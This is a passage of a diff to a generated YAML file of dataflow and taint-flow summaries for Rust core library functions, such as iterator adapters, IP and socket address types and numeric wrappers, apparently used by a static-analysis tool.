"dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_unchecked", "Argument[self].Field[crate::iter::adapters::cloned::Cloned::it].Element", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next_unchecked", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::cloned::Cloned::it]", "value", "dfc-generated"] - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -397,13 +740,13 @@ extensions: - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::copied::Copied::it]", "value", "dfc-generated"] - ["lang:core", "::advance_by", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig].Reference", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig]", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter].Reference", "value", "dfc-generated"] - ["lang:core", "::advance_by", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig]", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter]", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_fold", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig].Reference", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter]", "value", "dfc-generated"] - - ["lang:core", "::try_fold", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig]", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter].Reference", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig]", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter]", "value", "dfc-generated"] - - ["lang:core", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::new", "Argument[0].Reference", "ReturnValue.Field[crate::iter::adapters::cycle::Cycle::orig]", "value", "dfc-generated"] + - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::cycle::Cycle::iter]", "value", "dfc-generated"] + - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::cycle::Cycle::orig]", "value", "dfc-generated"] - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::nth_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -439,22 +782,29 @@ extensions: - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::filter_map::FilterMap::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::iter::adapters::filter_map::FilterMap::f]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::iter::adapters::flatten::FlatMap::inner].Reference", "ReturnValue.Field[crate::iter::adapters::flatten::FlatMap::inner]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::iter::adapters::flatten::FlatMap::inner]", "ReturnValue.Field[crate::iter::adapters::flatten::FlatMap::inner]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_parts", "Argument[self].Field[crate::iter::adapters::flatten::FlatMap::inner].Field[crate::iter::adapters::flatten::FlattenCompat::backiter]", "ReturnValue.Field[2]", "value", "dfc-generated"] - ["lang:core", "::into_parts", "Argument[self].Field[crate::iter::adapters::flatten::FlatMap::inner].Field[crate::iter::adapters::flatten::FlattenCompat::frontiter]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::iter::adapters::flatten::Flatten::inner].Reference", "ReturnValue.Field[crate::iter::adapters::flatten::Flatten::inner]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::iter::adapters::flatten::Flatten::inner]", "ReturnValue.Field[crate::iter::adapters::flatten::Flatten::inner]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::adapters::flatten::FlattenCompat::frontiter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::flatten::FlattenCompat::backiter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::find", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::rfind", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -466,13 +816,13 @@ extensions: - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::inspect::Inspect::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::inspect::Inspect::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::iter::adapters::inspect::Inspect::f]", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::intersperse::Intersperse::separator].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::intersperse::Intersperse::separator]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::iter::adapters::intersperse::Intersperse::separator]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -508,14 +858,14 @@ extensions: - ["lang:core", "::fold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::last", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::peeked].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::peeked].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::peeked].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::peekable::Peekable::iter]", "value", "dfc-generated"] + - ["lang:core", "::next_if", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["lang:core", "::next_if", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_if_eq", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::peek", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::peek_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -567,13 +917,25 @@ extensions: - ["lang:core", "::spec_size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::spec_try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::spec_try_fold", "Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element", "Argument[1].Parameter[1]", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element", "Argument[1].Parameter[1]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element", "Argument[1].Parameter[1]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::spec_fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::spec_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::spec_fold", "Argument[1].ReturnValue", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "::spec_fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::nth_back", "Argument[self].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::adapters::take::Take::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::adapters::take::Take::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::rfold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -599,32 +961,39 @@ extensions: - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::zip::Zip::a]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::iter::adapters::zip::Zip::b]", "value", "dfc-generated"] - ["lang:core", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::iter::sources::once_with::OnceWith::make].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::iter::sources::once_with::OnceWith::make].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::nth", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::nth", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count]", "ReturnValue.Field[crate::iter::sources::repeat_n::RepeatN::count]", "value", "dfc-generated"] + - ["lang:core", "::advance_back_by", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::advance_back_by", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::nth_back", "Argument[self].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::len", "Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::advance_by", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::advance_by", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::count", "Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_fold", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_fold", "Argument[self]", "Argument[1]", "taint", "df-generated"] - - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] @@ -635,6 +1004,7 @@ extensions: - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::mem::manually_drop::ManuallyDrop::value]", "value", "dfc-generated"] - ["lang:core", "::take", "Argument[0].Field[crate::mem::manually_drop::ManuallyDrop::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_mut_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::net::ip_addr::IpAddr::V4(0)].Field[crate::net::ip_addr::Ipv4Addr::octets]", "value", "dfc-generated"] @@ -643,6 +1013,7 @@ extensions: - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::net::ip_addr::IpAddr::V6(0)]", "value", "dfc-generated"] - ["lang:core", "::to_canonical", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::net::ip_addr::Ipv4Addr::octets]", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::bitand", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::bitor", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::not", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -656,6 +1027,7 @@ extensions: - ["lang:core", "::to_ipv6_compatible", "Argument[self].Field[crate::net::ip_addr::Ipv4Addr::octets].Element", "ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets].Element", "value", "dfc-generated"] - ["lang:core", "::to_ipv6_mapped", "Argument[self].Field[crate::net::ip_addr::Ipv4Addr::octets].Element", "ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets].Element", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets]", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::bitand", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::bitor", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::not", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -672,12 +1044,14 @@ extensions: - ["lang:core", "::new", "Argument[0].Field[crate::net::ip_addr::IpAddr::V6(0)]", "ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)].Field[crate::net::socket_addr::SocketAddrV6::ip]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::net::socket_addr::SocketAddr::V4(0)].Field[crate::net::socket_addr::SocketAddrV4::port]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)].Field[crate::net::socket_addr::SocketAddrV6::port]", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::ip", "Argument[self].Field[crate::net::socket_addr::SocketAddrV4::ip]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::net::socket_addr::SocketAddrV4::ip]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::net::socket_addr::SocketAddrV4::port]", "value", "dfc-generated"] - ["lang:core", "::port", "Argument[self].Field[crate::net::socket_addr::SocketAddrV4::port]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::set_ip", "Argument[0]", "Argument[self].Field[crate::net::socket_addr::SocketAddrV4::ip]", "value", "dfc-generated"] - ["lang:core", "::set_port", "Argument[0]", "Argument[self].Field[crate::net::socket_addr::SocketAddrV4::port]", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::flowinfo", "Argument[self].Field[crate::net::socket_addr::SocketAddrV6::flowinfo]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::ip", "Argument[self].Field[crate::net::socket_addr::SocketAddrV6::ip]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::net::socket_addr::SocketAddrV6::ip]", "value", "dfc-generated"] @@ -738,15 +1112,18 @@ extensions: - ["lang:core", "::sub", "Argument[0].Field[crate::num::bignum::tests::Big8x3::size]", "ReturnValue.Field[crate::num::bignum::tests::Big8x3::size]", "value", "dfc-generated"] - ["lang:core", "::sub", "Argument[self].Field[crate::num::bignum::tests::Big8x3::size]", "ReturnValue.Field[crate::num::bignum::tests::Big8x3::size]", "value", "dfc-generated"] - ["lang:core", "::sub", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::zero_pow2", "Argument[0]", "ReturnValue.Field[crate::num::dec2flt::common::BiasedFp::e]", "value", "dfc-generated"] - - ["lang:core", "::right_shift", "Argument[0]", "Argument[self]", "taint", "df-generated"] - - ["lang:core", "::try_add_digit", "Argument[0]", "Argument[self].Field[crate::num::dec2flt::decimal::Decimal::digits].Element", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::zero_pow2", "Argument[0]", "ReturnValue.Field[crate::num::dec2flt::common::BiasedFp::p_biased]", "value", "dfc-generated"] + - ["lang:core", "::right_shift", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:core", "::try_add_digit", "Argument[0]", "Argument[self].Field[crate::num::dec2flt::decimal_seq::DecimalSeq::digits].Element", "value", "dfc-generated"] - ["lang:core", "::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::normalize", "Argument[self].Field[crate::num::diy_float::Fp::e]", "ReturnValue.Field[crate::num::diy_float::Fp::e]", "value", "dfc-generated"] - ["lang:core", "::normalize", "Argument[self].Field[crate::num::diy_float::Fp::f]", "ReturnValue.Field[crate::num::diy_float::Fp::f]", "value", "dfc-generated"] - ["lang:core", "::normalize_to", "Argument[0]", "ReturnValue.Field[crate::num::diy_float::Fp::e]", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::kind", "Argument[self].Field[crate::num::error::ParseIntError::kind]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::len", "Argument[self].Reference.Field[crate::num::fmt::Part::Zero(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::write", "Argument[self].Reference.Field[crate::num::fmt::Part::Zero(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::num::niche_types::I32NotAllOnes(0)]", "value", "dfc-generated"] @@ -792,6 +1169,8 @@ extensions: - ["lang:core", "::add_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::div_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::mul_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:core", "::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::rem_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::sub_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -804,10 +1183,16 @@ extensions: - ["lang:core", "::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::bitxor_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::abs", "Argument[self].Field[0]", "ReturnValue.Field[crate::num::saturating::Saturating(0)]", "value", "dfc-generated"] + - ["lang:core", "::abs", "Argument[self].Field[crate::num::saturating::Saturating(0)]", "ReturnValue.Field[crate::num::saturating::Saturating(0)]", "value", "dfc-generated"] - ["lang:core", "::add_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:core", "::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::div_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::mul_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::rem_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::sub_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -822,6 +1207,8 @@ extensions: - ["lang:core", "::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::shl_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::shr_assign", "Argument[0]", "Argument[self]", "taint", 